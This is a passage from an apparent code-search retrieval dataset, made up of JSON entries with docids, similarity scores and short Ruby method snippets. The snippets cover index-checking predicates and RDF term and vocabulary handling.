"1224b7c717db83d725489a397690b1d8", "score": "0.62273014", "text": "def stored?\n !send(self.class.index_field).nil?\n end", "title": "" }, { "docid": "7c2d8ba2f2cdf77495c90c7f32962004", "score": "0.62260085", "text": "def index_exists?\n !@strategy.missing?\n end", "title": "" }, { "docid": "add4199f1ed40e3aad84a45a2c056bd3", "score": "0.6220421", "text": "def supports_index_parsing?\n false\n end", "title": "" }, { "docid": "add4199f1ed40e3aad84a45a2c056bd3", "score": "0.6220421", "text": "def supports_index_parsing?\n false\n end", "title": "" }, { "docid": "4b1e5de2a77a7e16f0a69f9a6378a0d9", "score": "0.6214643", "text": "def index?\n false\n end", "title": "" }, { "docid": "4b1e5de2a77a7e16f0a69f9a6378a0d9", "score": "0.6214643", "text": "def index?\n false\n end", "title": "" }, { "docid": "4b1e5de2a77a7e16f0a69f9a6378a0d9", "score": "0.6214643", "text": "def index?\n false\n end", "title": "" }, { "docid": "4e62ef5feb17e7fc22f282e32ef59b04", "score": "0.62123084", "text": "def is_index_separate\n return @is_index_separate unless @is_index_separate.nil?\n @is_index_separate = tag == 210\n @is_index_separate\n end", "title": "" }, { "docid": "ae02327bef12cda7f457c516f1df7417", "score": "0.619286", "text": "def index?\n true\n end", "title": "" }, { "docid": "ae02327bef12cda7f457c516f1df7417", "score": "0.619286", "text": "def index?\n true\n end", "title": "" }, { "docid": "ae02327bef12cda7f457c516f1df7417", "score": "0.619286", "text": "def index?\n true\n end", "title": "" }, { "docid": "ae02327bef12cda7f457c516f1df7417", "score": "0.619286", "text": "def index?\n true\n end", "title": "" }, { "docid": "ae02327bef12cda7f457c516f1df7417", "score": "0.619286", "text": "def index?\n true\n end", "title": "" }, { "docid": "ae02327bef12cda7f457c516f1df7417", "score": "0.619286", "text": "def index?\n true\n end", "title": "" }, { "docid": "ae02327bef12cda7f457c516f1df7417", "score": "0.619286", "text": "def index?\n true\n end", "title": "" }, { "docid": "ae02327bef12cda7f457c516f1df7417", "score": "0.619286", "text": "def index?\n true\n end", "title": "" }, { "docid": "be1a357ff8624aaa04f931aee0359b1a", "score": "0.6169357", "text": "def indexes?(holding)\n holding['indexes']&.compact.present?\n end", "title": "" }, { "docid": "7ec5afbdfa3e950c65f354a78523c506", "score": "0.6164257", "text": "def oneof?\n @descriptor.field? :oneof_index\n end", "title": "" }, { "docid": "bec39e73e1be5e3ef441c77e4ef033eb", "score": "0.6159975", "text": "def is_indexed?\n props['precommit'].include?(SEARCH_PRECOMMIT_HOOK)\n end", "title": "" }, { "docid": "10ceafb5c9d73633c2dcded26f1dac37", "score": "0.6147238", "text": "def use_nested_reindexing?\n true\n end", "title": "" }, { "docid": "d3a4b22f6c1e4ed39c7e4577582d7fa5", "score": "0.6143814", "text": "def multi_column?\n @columns.size > 1\n end", "title": "" }, { "docid": "2118163248704502f7c851841e224f59", "score": "0.61433685", "text": "def analytical?\n return false unless item_ids.empty?\n host_bib_id && host_item_id\n end", "title": "" }, { "docid": "821747b5a8eb69464e551202e60ef14e", "score": "0.6121389", "text": "def is_multi?\n return false if @context.nil?\n return false unless @info\n return true if @info[:multi]\n return @context.is_multi?\n end", "title": "" }, { "docid": "808f93a076cd1509e20bbd4139dedaed", "score": "0.6117495", "text": "def include_index?\n if default_host && sitemaps_host && sitemaps_host != default_host\n false\n else\n @include_index\n end\n end", "title": "" }, { "docid": "7a192449997087ab5136023efbd36bc4", "score": "0.611377", "text": "def has_index_measurement? \n not ( index_width.nil? or index_height.nil? ) \n end", "title": "" }, { "docid": "3ac2a238ace6b382db2b66d38e7883f3", "score": "0.61076266", "text": "def facet_indexed?\n indexed_facets.map(&:to_sym).include?(facet_name)\n end", "title": "" }, { "docid": "457b2d5fb21f08525c98558ebfc29774", "score": "0.60885674", "text": "def supports_partial_index?; end", "title": "" }, { "docid": "9f008b1ab1690c10ed1228ed1c54842e", "score": "0.60785717", "text": "def is_composite_index?\n return @composite_types.kind_of?(Array) && @composite_types.length > 0\n end", "title": "" }, { "docid": "2f1fd2b1674ba279bfc2afd82dc4bfbd", "score": "0.6075983", "text": "def indexable_for_elasticsearch?\n if self.respond_to?(:statusable?)\n self.try(:published?)\n else\n true\n end\n end", "title": "" }, { "docid": "ef85a3a673113a8500f18ec62f37c2db", "score": "0.6070133", "text": "def indexable\n !self.admin_only &&\n !(self.seo && self.seo.no_index)\n end", "title": "" }, { "docid": "e3a269d0bec7e2279befd0b313e7224c", "score": "0.60701257", "text": "def index?\r\n self.path=='index' && self.parent_id.nil?\r\n end", "title": "" }, { "docid": "6eeb3a3e6799ea06f4b8121da9f4f569", "score": "0.60528487", "text": "def project_index?\n # user_activities.include? 'attachment:index'\n user_activities.include? 'attachment:4project_index'\n end", "title": "" }, { "docid": "f55cb6343d0c776e25c93b2d19fde9da", "score": "0.60449487", "text": "def indexed?\n # NOTE: default behavior is not to index\n @properties[PROP_INDEX]\n end", "title": "" }, { "docid": "7ae96dfe1b1417f5c0133c96bf2dd61a", "score": "0.60422444", "text": "def is_regular_index?\n return ! @rdf_type.nil?\n end", "title": "" }, { "docid": "f73d4c70a5bbdec4aeec1b76c53dddeb", "score": "0.60272396", "text": "def should_index?\n !tweet_original.present?\n end", "title": "" }, { "docid": "93568a926e6346c51e55894b29a2109b", "score": "0.60173947", "text": "def index?\n role?(:admin, :scyp, :locality_contact)\n end", "title": "" }, { "docid": "93568a926e6346c51e55894b29a2109b", "score": "0.60173947", "text": "def index?\n role?(:admin, :scyp, :locality_contact)\n end", "title": "" }, { "docid": "c2d43173ba10e1c15dc02b3c4dd1b2ee", "score": "0.60132605", "text": "def is_index_separate\n return @is_index_separate unless @is_index_separate.nil?\n @is_index_separate = ((tag >= 32) && (tag <= 34)) \n @is_index_separate\n end", "title": "" }, { "docid": "1c1b64bf6ca342b26e65695cea9827a2", "score": "0.6007634", "text": "def current_item_enabled?\r\n recorded?(index)\r\n end", "title": "" }, { "docid": "6d243d355e2a58498ef13e4306ba64bb", "score": "0.5986297", "text": "def one_collection?\n self.financial_term.tranches.size == 1 ? true : false\n end", "title": "" }, { "docid": "71e730b2a0046bfec3cf2102cf805c00", "score": "0.5980695", "text": "def index_only?\n __boolean(OCI_ATTR_INDEX_ONLY)\n end", "title": "" }, { "docid": "d86ca2f42ee86e9c5cc8bbfe15d921cb", "score": "0.5978081", "text": "def index_type?(type)\n @field_types.values.include?(type)\n end", "title": "" }, { "docid": "06f5bb6975fcafa5af5418b36b88a0bd", "score": "0.5966445", "text": "def indexed_query?\n @children.empty? && @parents.empty? &&\n Index::PREDICATES.include_all?(predicates) &&\n Index::PREDICATES.include_all?(neg_predicates)\n end", "title": "" }, { "docid": "4add25203dec3e481686dd5ba931fbf2", "score": "0.59362346", "text": "def active?\n @index == 1\n end", "title": "" }, { "docid": "58f277f1a1c1cbb7b026e6b3798d45e4", "score": "0.5928898", "text": "def should_prefix_index?\n false\n end", "title": "" }, { "docid": "e20b791a6844bfaf0ad814e932875361", "score": "0.5924343", "text": "def indexable?; end", "title": "" }, { "docid": "1b7aec6319a7e10b29e1a506a16a81b1", "score": "0.5919688", "text": "def supports_index_sort_order?\n false\n end", "title": "" }, { "docid": "1b7aec6319a7e10b29e1a506a16a81b1", "score": "0.5919688", "text": "def supports_index_sort_order?\n false\n end", "title": "" }, { "docid": "219c53bcad390ad93624a689b42cb1a8", "score": "0.5917894", "text": "def collection_target?\n false\n end", "title": "" }, { "docid": "96f14594e595cb2b6c7100d8f0e0f381", "score": "0.5915849", "text": "def multi_valued?\n @multi_valued\n end", "title": "" }, { "docid": "738b67b6a24a50ab8e438307de4826a7", "score": "0.5915503", "text": "def has_subpages?\n return false unless self.index_page?\n return self.subpages.empty? ? false : true\n end", "title": "" }, { "docid": "b25a006be6bb858f1400c27469d1f1c5", "score": "0.59147817", "text": "def toggle_readable?\n index?\n end", "title": "" } ]
c9189746f9aa61b71ec856e7ca96d698
Returns an `RDF::Term` representation of `self`.
[ { "docid": "2f141ac908078af4369c38ba162a054b", "score": "0.6932306", "text": "def to_term\n raise NotImplementedError, \"#{self.class}#read_triple\" # override in subclasses\n end", "title": "" } ]
[ { "docid": "8e1d6dc1d7a120b562ae3c917ac86e60", "score": "0.72375405", "text": "def to_term\n return @to_term\n end", "title": "" }, { "docid": "fca4307840046dfe04040dc93a49f6e0", "score": "0.70340556", "text": "def term\n return @term\n end", "title": "" }, { "docid": "fca4307840046dfe04040dc93a49f6e0", "score": "0.70340556", "text": "def term\n return @term\n end", "title": "" }, { "docid": "5c394b21d1d5594ec1ec835589628352", "score": "0.69840175", "text": "def term\n @node[\"term\"]\n end", "title": "" }, { "docid": "8d0525179cc7b690a1882d93f1c1018a", "score": "0.69805884", "text": "def term\n entity.term\n end", "title": "" }, { "docid": "aa8a7365053938d160caed7d3a1d5709", "score": "0.6922011", "text": "def term\n @term\n end", "title": "" }, { "docid": "79b0cc37fba8d44aeacce372c695e07d", "score": "0.69083476", "text": "def getTerm\n # return existing body if term is unchanged\n @body ? @body.rdf_subject : nil\n end", "title": "" }, { "docid": "951922c24d20d600c610b7200723f872", "score": "0.6878713", "text": "def term\n ::HubEdos::StudentApi::V2::Term::Term.new(@data['term']) if @data['term']\n end", "title": "" }, { "docid": "e7991ef2ec59bb7eabb58f15082c422a", "score": "0.6492735", "text": "def to_s\n term.to_s\n end", "title": "" }, { "docid": "ebe01ffaafa167ab13f8a258ed94843e", "score": "0.62755096", "text": "def term\n @app.term\n end", "title": "" }, { "docid": "93fe361503651e461086fd324fbd5680", "score": "0.6200606", "text": "def build(terminology=nil)\n self.resolve_refs!\n if term.self.settings.has_key?(:proxy)\n term = OM::XML::NamedTermProxy.new(self.name, self.settings[:proxy], terminology, self.settings)\n else\n term = OM::XML::Term.new(self.name, {}, terminology)\n\n self.settings.each do |name, values|\n if term.respond_to?(name.to_s+\"=\")\n term.instance_variable_set(\"@#{name}\", values)\n end\n end\n @children.each_value do |child|\n term.add_child child.build(terminology)\n end\n term.generate_xpath_queries!\n end\n\n return term\n end", "title": "" }, { "docid": "a43746f1b2c877e9e8a346530f00fa98", "score": "0.6187477", "text": "def build(terminology=nil)\n self.resolve_refs!\n if settings.has_key?(:proxy)\n term = OM::XML::NamedTermProxy.new(self.name, self.settings[:proxy], terminology, self.settings)\n else\n term = OM::XML::Term.new(self.name, {}, terminology)\n\n self.settings.each do |name, values|\n if term.respond_to?(name.to_s+\"=\")\n term.instance_variable_set(\"@#{name}\", values)\n end\n end\n @children.each_value do |child|\n term.add_child child.build(terminology)\n end\n term.generate_xpath_queries!\n end\n\n return term\n end", "title": "" }, { "docid": "086df885d41be7a8e5e46f6544403e2a", "score": "0.6099812", "text": "def to_term=(value)\n @to_term = value\n end", "title": "" }, { "docid": "7e7d4ffe971ce854c80e5c3267368835", "score": "0.6093236", "text": "def current_term\n term\n end", "title": "" }, { "docid": "cd2f1ced982437dc994d181956ebe35e", "score": "0.60925", "text": "def from_term\n ::HubEdos::StudentApi::V2::Term::Term.new(@data['fromTerm']) if @data['fromTerm']\n end", "title": "" }, { "docid": "f2c424e60b5fbf0ddf1b08d280004637", "score": "0.60749143", "text": "def term(*args)\n return Term.new *args\n end", "title": "" }, { "docid": "6546b8f95ab7b099d222d700d71185c4", "score": "0.60726196", "text": "def to_s\n \"#{@term_id} - #{@term_name}\"\n end", "title": "" }, { "docid": "caa79fd26917854fc662b974e2c726e4", "score": "0.60565424", "text": "def find_term(uri)\n uri = RDF::URI(uri)\n return uri if uri.is_a?(Vocabulary::Term)\n if vocab = find(uri)\n if vocab.ontology == uri\n vocab.ontology\n else\n suffix = uri.to_s[vocab.to_uri.to_s.length..-1].to_s\n vocab[suffix]\n end\n end\n end", "title": "" }, { "docid": "6ff1bc6227bec47330351147fd64aa63", "score": "0.59951913", "text": "def term=(value)\n @term = value\n end", "title": "" }, { "docid": "6ff1bc6227bec47330351147fd64aa63", "score": "0.59951913", "text": "def term=(value)\n @term = value\n end", "title": "" }, { "docid": "2a238d795a3d0ea46709cd49da8bff76", "score": "0.5985714", "text": "def term(field, value)\n new(field: field, value: value, template: TERM_QUERY)\n end", "title": "" }, { "docid": "506d5d2920f7bc17196a088e7422a9a4", "score": "0.5906721", "text": "def root_terms\n self.document.terminology.terms\n end", "title": "" }, { "docid": "fcef66fc41f5241970693a59b290cd91", "score": "0.59024996", "text": "def from_term\n return @from_term\n end", "title": "" }, { "docid": "e46a3e9dd147ab40ea714738de3c5e32", "score": "0.5895961", "text": "def terms\n unit.terms\n end", "title": "" }, { "docid": "e46a3e9dd147ab40ea714738de3c5e32", "score": "0.5895961", "text": "def terms\n unit.terms\n end", "title": "" }, { "docid": "aacde9f0ec21939a4e2a2040c27dfa09", "score": "0.5861421", "text": "def show\n begin\n term = @authority.find(id, subauth: subauthority, language: language, replacements: replacement_params)\n rescue Qa::TermNotFound\n logger.warn \"Term Not Found - Fetch term #{id} unsuccessful for#{subauth_warn_msg} authority #{vocab_param}\"\n head :not_found\n return\n rescue Qa::ServiceUnavailable\n logger.warn \"Service Unavailable - Fetch term #{id} unsuccessful for#{subauth_warn_msg} authority #{vocab_param}\"\n head :service_unavailable\n return\n rescue Qa::ServiceError\n logger.warn \"Internal Server Error - Fetch term #{id} unsuccessful for#{subauth_warn_msg} authority #{vocab_param}\"\n head :internal_server_error\n return\n rescue RDF::FormatError\n logger.warn \"RDF Format Error - Results from fetch term #{id} for#{subauth_warn_msg} authority #{vocab_param} was not identified as a valid RDF format. You may need to include the linkeddata gem.\"\n head :internal_server_error\n return\n end\n render json: term\n end", "title": "" }, { "docid": "f665c467b03d008a1f73f5e7fe0924a1", "score": "0.5861348", "text": "def terms\n terms = Term.joins(\"LEFT OUTER JOIN freq_term_in_docs ON freq_term_in_docs.word = terms.word AND freq_term_in_docs.doc_id = #{self.id}\")\n #SELECT terms.* FROM terms\n # INNER JOIN freq_term_in_docs On freq_term_in_docs.word = terms.word\n # INNER JOIN transactions On freq_term_in_docs.doc_id = 1\n return terms\n end", "title": "" }, { "docid": "15598411d867b8e38762473bfb848343", "score": "0.5839559", "text": "def to_ruby\n @ruby_term\n end", "title": "" }, { "docid": "0a5ad30df3e5e9aebd1cfc5b1b80acb6", "score": "0.5839415", "text": "def docTerms(category, list, spec, doc='')\nnspre='foaf' # hardcoded for now\nlist.each do |t|\n term = Node.getResource(FOAF+t, spec)\n doc += \"<div class=\\\"specterm\\\" id=\\\"term_#{t}\\\">\\n<h3>#{category}: #{nspre}:#{t}</h3>\\n\"\n # almost vocab neutral. todo: 'foaf' shouldn't be hardcoded.\n l= term.rdfs_label.to_s\n c= term.rdfs_comment.to_s\n\n status= term.vs_term_status.to_s\n # MM: Listing the term name twice?\n doc += \"<em>#{l}</em> - #{c} <br />\"\n doc += \"<table style=\\\"th { float: top; }\\\">\\n\\t<tr><th>Status:</th>\\n\\t<td>#{status}</td></tr>\\n\"\n doc += owlInfo(term)\n doc += rdfsPropertyInfo(term) if category=='Property'\n doc += rdfsClassInfo(term) if category=='Class'\n doc += \"</table>\\n\"\n doc += htmlDocInfo(t)\n doc += \"<p style=\\\"float: right; font-size: small;\\\">[<a href=\\\"#glance\\\">back to top</a>]</p>\\n\\n\"\n\n doc += \"\\n<br/>\\n</div>\\n\\n\"\nend\nreturn doc\nend", "title": "" }, { "docid": "91b5a0b5bdefbb63113e03215cec39b8", "score": "0.5831494", "text": "def terms\n @terms ||= document.xpath('KAF/terms/term').map do |term|\n Term.new(term, document, language)\n end\n end", "title": "" }, { "docid": "98c7276f9222266c42bc11ae9d955503", "score": "0.5812523", "text": "def p_term(resource, position)\n #log_debug(\"p_term\") {\"#{resource.to_ntriples}, #{position}\"}\n l = if resource == RDF.nil\n \"()\"\n else\n format_term(resource, **options)\n end\n @output.write(l)\n end", "title": "" }, { "docid": "9a01e628901cfaa5a5b2e14f76e2df3c", "score": "0.5803754", "text": "def to_s\n \"#{meta_term}\"\n end", "title": "" }, { "docid": "581f1a66c70fabe78389429b1120ca1b", "score": "0.57937765", "text": "def val\n query = xpath\n trim_text = !query.index(\"text()\").nil?\n val = @document.find_by_xpath(query).collect {|node| (trim_text ? node.text.strip : node.text) }\n term.deserialize(val)\n end", "title": "" }, { "docid": "c0cf1d19379068e971cb30693521bbe1", "score": "0.5780437", "text": "def term_name\n return @term_name if @term_name \n xpath = \"/String\"\n @term_name = @node.find_first(@term_root_path + xpath).content\n return @term_name\n end", "title": "" }, { "docid": "f63723d6020d7eb7388122a77548ee7f", "score": "0.5768084", "text": "def term_list\n return @term_list if @term_list\n xpath = \"/TermList/Term\"\n terms = @node.find(@concept_root_path + xpath) #returns collection of Term node (xpath_object class)\n @term_list = TermList.new(terms)\n end", "title": "" }, { "docid": "1cf87da6ae5e0fffe5fbaeab8be03873", "score": "0.5768068", "text": "def to_rb\n defn = [%(TermDefinition.new\\(#{term.inspect})]\n %w[id index type_mapping container_mapping language_mapping direction_mapping reverse_property nest simple\n prefix context protected].each do |acc|\n v = instance_variable_get(\"@#{acc}\".to_sym)\n v = v.to_s if v.is_a?(RDF::Term)\n if acc == 'container_mapping'\n v = v.to_a\n v << '@set' if as_set?\n v = v.first if v.length <= 1\n end\n defn << \"#{acc}: #{v.inspect}\" if v\n end\n defn.join(', ') + \")\"\n end", "title": "" }, { "docid": "071bf2fef012770e674e38333cd1360a", "score": "0.5758535", "text": "def dup\n term = super.extend(Term)\n term.instance_variable_set(:@vocab, vocab)\n term.instance_variable_set(:@attributes, attributes)\n term\n end", "title": "" }, { "docid": "002675c248cb49634651ba94dfdf795f", "score": "0.5741164", "text": "def get_one(term)\n @terms[term]\n end", "title": "" }, { "docid": "9e25aa2b983edb78f1f5cd15551d5ea5", "score": "0.5734842", "text": "def terms\n return @terms\n end", "title": "" }, { "docid": "254b0563bb2515e4f562019dec6d25bd", "score": "0.57154167", "text": "def reverse_term(term)\n # Direct lookup of term\n term = term_definitions[term.to_s] if term_definitions.key?(term.to_s) && !term.is_a?(TermDefinition)\n\n # Lookup term, assuming term is an IRI\n unless term.is_a?(TermDefinition)\n td = term_definitions.values.detect { |t| t.id == term.to_s }\n\n # Otherwise create a temporary term definition\n term = td || TermDefinition.new(term.to_s, id: expand_iri(term, vocab: true))\n end\n\n # Now, return a term, which reverses this term\n term_definitions.values.detect { |t| t.id == term.id && t.reverse_property != term.reverse_property }\n end", "title": "" }, { "docid": "ab82168179d9a3bfe286b22c85bb74e1", "score": "0.5714537", "text": "def term(code: nil, year: nil)\n params = { term: code, year: year }.compact\n\n fetch_and_parse('/termInfo', params)\n end", "title": "" }, { "docid": "0ed6883f26e9921448716b6567622a10", "score": "0.5696899", "text": "def normalizeTerm(term)\n case term\n when Graph then normalizeTerm(term.identifier)\n when Literal then term.to_s.rdf_escape\n when URIRef then term.to_s.rdf_escape\n when BNode then term.to_s\n else term\n end\n end", "title": "" }, { "docid": "bba29d5961d7cbfc7f5f4aeb352f5f17", "score": "0.5683932", "text": "def term\n term_p(factor)\n end", "title": "" }, { "docid": "e2d94b887905b9afafd4b77525d89c77", "score": "0.5677623", "text": "def lookup_tree_term(tree_id)\n return self.class.get_term(tree_id).first.term\n end", "title": "" }, { "docid": "bd5c7abc570c2781f9a5d8bd55256bd0", "score": "0.5657795", "text": "def from_node(name, attributes, term_type)\n op = term_type == :property ? \"property\" : \"term\"\n\n components = [\" #{op} #{name.to_sym.inspect}\"]\n attributes.keys.sort_by(&:to_s).each do |key|\n next if key == :vocab\n value = Array(attributes[key])\n component = key.is_a?(Symbol) ? \"#{key}: \" : \"#{key.inspect} => \"\n value = value.first if value.length == 1\n component << if value.is_a?(Array)\n '[' + value.map {|v| serialize_value(v, key)}.join(\", \") + \"]\"\n else\n serialize_value(value, key)\n end\n components << component\n end\n @output.puts components.join(\",\\n \")\n end", "title": "" }, { "docid": "5e1bdb362fbe022cb313778911d57b2f", "score": "0.565125", "text": "def getTerms\n return @terms\n end", "title": "" }, { "docid": "b31bdb399baa52452b9b61c63aa5e416", "score": "0.5637023", "text": "def lookup_tree_term(tree_id)\n self.class.get_term(tree_id).first.term\n end", "title": "" }, { "docid": "0022281e130aadd65bfadb89059574f3", "score": "0.56230587", "text": "def retrieve_term(*args)\n args_cp = args.dup\n current_term = terms[args_cp.delete_at(0)]\n if current_term.nil?\n raise OM::XML::Terminology::BadPointerError, \"This Terminology does not have a root term defined that corresponds to \\\"#{args.first.inspect}\\\"\"\n else\n args_cp.each do |arg|\n current_term = current_term.retrieve_child(arg)\n if current_term.nil?\n raise OM::XML::Terminology::BadPointerError, \"You attempted to retrieve a Term using this pointer: #{args.inspect} but no Term exists at that location. Everything is fine until \\\"#{arg.inspect}\\\", which doesn't exist.\"\n end\n end\n end\n return current_term\n end", "title": "" }, { "docid": "141f0da93b42a750f9610d99f578a4f8", "score": "0.5620561", "text": "def resolve_term term\n return term if term.is_a? RDF::Term\n term = term.to_s\n\n # bnode ahoy\n return RDF::Node.new term.delete_prefix '_:' if term.start_with? '_:'\n\n # ugh now we gotta do urls\n if m = /^(#{NCNAME}):(\\S*)$/o.match(term)\n prefix, slug = m.captures\n if !slug.start_with?(?/) and vocab = prefixes[prefix.to_sym]\n return vocab[slug]\n end\n end\n\n # now resolve against base\n RDF::URI((URI(subject.to_s) + term).to_s)\n end", "title": "" }, { "docid": "ca2b1b9d3ab6c4cd4f5028bd72cc17d1", "score": "0.5588103", "text": "def source_term; @terms[@source]; end", "title": "" }, { "docid": "a490ccbe692b23e35376af48f0dc488e", "score": "0.55796295", "text": "def term(field, value)\n @slingshot_search = @slingshot_search.query\n @slingshot_search.instance_variable_get(:@query).term(field, value)\n self\n end", "title": "" }, { "docid": "0ce87c91c8ebabb0d2023b157a33f01c", "score": "0.5569376", "text": "def to_rdf\n value = self.clone\n value << '^^' << type if(type)\n value << '@' << lang if(lang)\n value\n end", "title": "" }, { "docid": "da7f9a67a56ce08ec9958f03a192511b", "score": "0.556453", "text": "def term!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 34 )\n\n type = TERM\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 173:8: 'term'\n match( \"term\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 34 )\n\n end", "title": "" }, { "docid": "1ca183167dbd4778408a86167d891616", "score": "0.55549484", "text": "def node\n RDF::Node.new(namer.get_sym)\n end", "title": "" }, { "docid": "1d0a9c84459267b33a24aff20b1d203c", "score": "0.55382895", "text": "def to_term\n\t\t\tto_rgb.to_term\n\t\tend", "title": "" }, { "docid": "dfe24b5e09e06c45b95bbc2372e5544f", "score": "0.552646", "text": "def term=(val)\n write_attribute('term', val)\n write_attribute('label', val) if read_attribute('label').nil?\n end", "title": "" }, { "docid": "d0627e68597edd9f3469f465a4bbfbdc", "score": "0.55138975", "text": "def term_resource\n begin\n titles = %w( winter spring summer autumn )\n @term_resource ||= TermResource.find \"#{year},#{titles[quarter_code-1]}\"\n rescue ActiveResource::ResourceNotFound => e\n @term_resource = nil\n rescue ActiveResource::UnauthorizedAccess => e\n @term_resource = nil\n end\n end", "title": "" }, { "docid": "72e5d148e18ae30d281f16d9ef7bd540", "score": "0.55134004", "text": "def values\n terminology.document.root.xpath(xpath, terminology.namespaces).values_for_term(self)\n end", "title": "" }, { "docid": "656b01b34262d209ffca4bdccc58a97e", "score": "0.5509801", "text": "def definition\n get_term_metadata\n @definition\n end", "title": "" }, { "docid": "f56a606b34e02dd4b4d075a8110eb9fb", "score": "0.55045503", "text": "def term_set\n return @term_set\n end", "title": "" }, { "docid": "0a6819653f2a0903bbd267045434e2f3", "score": "0.5499527", "text": "def term(value, options = {})\n\t\t\t\t\t_build_operator AST::Term, options, value\n\t\t\t\tend", "title": "" }, { "docid": "14a845257c4238b48f38138cfbf78465", "score": "0.5498845", "text": "def to_s\n entered_term\n end", "title": "" }, { "docid": "9e2c6977bd904d48be879e0d2793bb1d", "score": "0.54851896", "text": "def norm_term( t )\n t\n end", "title": "" }, { "docid": "a8a67341b4cfe0dccd97a0ad4bb9cd22", "score": "0.54787195", "text": "def term_store\n return @term_store\n end", "title": "" }, { "docid": "1f3f0eddd4f8970b29254f4a9bc9743b", "score": "0.5478404", "text": "def plain_term_frequency(term)\n term_counts[term]\n end", "title": "" }, { "docid": "170f6e734d2e9050cabd2f4624d04dbf", "score": "0.54685026", "text": "def from_node(name, attributes, term_type)\n op = case term_type\n when :property then \"property\"\n when :ontology then \"ontology\"\n else \"term\"\n end\n\n components = [\" #{op} #{name.to_sym.inspect}\"]\n attributes.keys.sort_by(&:to_s).map(&:to_sym).each do |key|\n value = Array(attributes[key])\n component = key.inspect.start_with?(':\"') ? \"#{key.to_s.inspect}: \" : \"#{key}: \"\n value = value.first if value.length == 1 && value.none? {|v| v.is_a?(RDF::Literal) && v.language?}\n component << if value.is_a?(Array)\n # Represent language-tagged literals as a hash\n lang_vals, vals = value.partition {|v| v.literal? && v.language?}\n hash_val = lang_vals.inject({}) {|memo, obj| memo.merge(obj.language => obj.to_s)}\n vals << hash_val unless hash_val.empty?\n if vals.length > 1\n '[' + vals.map {|v| serialize_value(v, key, indent: \" \")}.sort.join(\", \") + \"]\"\n else\n serialize_value(vals.first, key, indent: \" \")\n end\n else\n serialize_value(value, key, indent: \" \")\n end\n components << component\n end\n @output.puts components.join(\",\\n \")\n end", "title": "" }, { "docid": "451effb68a864aaaa5572108bed57c5c", "score": "0.5461482", "text": "def term(name, uri = nil)\n name = name.to_s.empty? ? nil : (name.respond_to?(:to_sym) ? name.to_sym : name.to_s.to_sym)\n uri.nil? ? terms[name] : terms[name] = uri\n end", "title": "" }, { "docid": "80c5aeec63f80299e90df2208f21b7f7", "score": "0.54488117", "text": "def result\n RDFMetadata.new(value).result.symbolize_keys\n end", "title": "" }, { "docid": "a1b00776270131fa634fcc7c2b776ae1", "score": "0.5448645", "text": "def wikipedia_term value\n @term.wikipedia_term = value\n end", "title": "" }, { "docid": "1a9d35c7030e7054d0d2dd6f2171e952", "score": "0.54393345", "text": "def term(job_name, build_number = nil)\n abstract_murdering(job_name, build_number: build_number, method: 'term')\n end", "title": "" }, { "docid": "1a9d35c7030e7054d0d2dd6f2171e952", "score": "0.54393345", "text": "def term(job_name, build_number = nil)\n abstract_murdering(job_name, build_number: build_number, method: 'term')\n end", "title": "" }, { "docid": "0d8deb1778bcaa3626fd6c2c029ec318", "score": "0.54318213", "text": "def term=(value)\n self.content << (value.is_a?(XTF::Search::Element::Term) ? value : XTF::Search::Element::Term.new(value))\n end", "title": "" }, { "docid": "1ed8b882f006c2dae0a310ea9495a590", "score": "0.54317874", "text": "def to_rdf\n self\n end", "title": "" }, { "docid": "c311cecca4eedb35a6c640c152006f6c", "score": "0.5427833", "text": "def sparql_vocab()\n q = Dev::Query.new()\n q.select(\"?term ?id\")\n q.where(\"?id skos:prefLabel ?term\")\n \n sparql = Dev::SparqlQuery.new(:uri=>\"http://bio2rdf.semanticscience.org:8026/sparql?\")\n sparql.prefix(:skos=>\"http://www.w3.org/2004/02/skos/core#\")\n return sparql.query(q,:graph=>\"cebs\",:format=>\"xml\")\n\n end", "title": "" }, { "docid": "d73bef9b28a001a72b2667c322184f7f", "score": "0.542548", "text": "def lease_term\n self.dig_for_string(\"leaseTerm\")\n end", "title": "" }, { "docid": "e93f7b644fe36428276658ebf38a2578", "score": "0.5418784", "text": "def compile_term\n element \"term\" do\n\n token = peek\n\n case\n when token.type == \"integerConstant\"\n token = get\n output token\n\n when token.type == \"stringConstant\"\n token = get\n output token\n\n when token.type == \"keyword\"\n token = get\n output token\n\n when token.is_unary_op?\n token = get\n output token\n\n compile_term\n\n when token.val == \"(\"\n token = get \"(\"\n output token\n\n compile_expression\n\n token = get \")\"\n output token\n\n # varName | varName '[' expression ']' | subroutineCall\n # NOTE if subroutineCall, next token would either be '(' or '.'\n when token.type == \"identifier\"\n token = get\n parse_identifier token # if varName, we're done\n\n # '[' expression ']'\n if peek.val == \"[\"\n token = get \"[\"\n output token\n\n compile_expression\n\n token = get \"]\"\n output token\n\n # subroutineCall\n elsif peek.val == \"(\" || peek.val == \".\"\n compile_subroutine_call\n end\n\n else\n # FIXME?\n @depth -= 1\n self.ast += \"#{tabs}</term>\\n\"\n return\n end\n\n end\n end", "title": "" }, { "docid": "ee0a8962a14d60fdbba867c5b92ef901", "score": "0.541289", "text": "def build_term(_field, _options)\n terms = Array(_options.fetch(:term, _options[:terms]))\n\n Elastic::Nodes::Term.new.tap do |node|\n node.field = _field.name\n node.mode = _options[:mode]\n node.terms = terms.map { |t| _field.prepare_value_for_query(t) }\n end\n end", "title": "" }, { "docid": "cd1ac5b62a2157be482c71fcbdc4fe82", "score": "0.540835", "text": "def term_from(xml)\n term = xml.attributes['rowType'] || xml.attributes['term']\n term&.value\n end", "title": "" }, { "docid": "261a7fc6ce85ae668788863bf662e78e", "score": "0.53918535", "text": "def vocabulary\n return @children['vocabulary'][:value]\n end", "title": "" }, { "docid": "bf3a1024412357e08b81c15d1c72084b", "score": "0.5381529", "text": "def from(value)\n\t\t\t\tvalue.to_term\n\t\t\tend", "title": "" }, { "docid": "c4a1b15f8c7bc574a811505f79f79847", "score": "0.53808093", "text": "def to_s\n map { |term| %Q(\"#{term.name}\") }.join(' ')\n end", "title": "" }, { "docid": "f98edd8aeaff60adec1954b235e5404c", "score": "0.53785616", "text": "def target_term; @terms[@target]; end", "title": "" }, { "docid": "0a415f44277818cd46d8a2397ffef168", "score": "0.5373783", "text": "def terms\n @terms ||= self.ancestors.map { |p| p.term_accessors(self).map { |keys, values| values } }.flatten.compact.uniq\n end", "title": "" }, { "docid": "8d79a6c26d6e9530c4680ca22afad23f", "score": "0.5362778", "text": "def terms\n 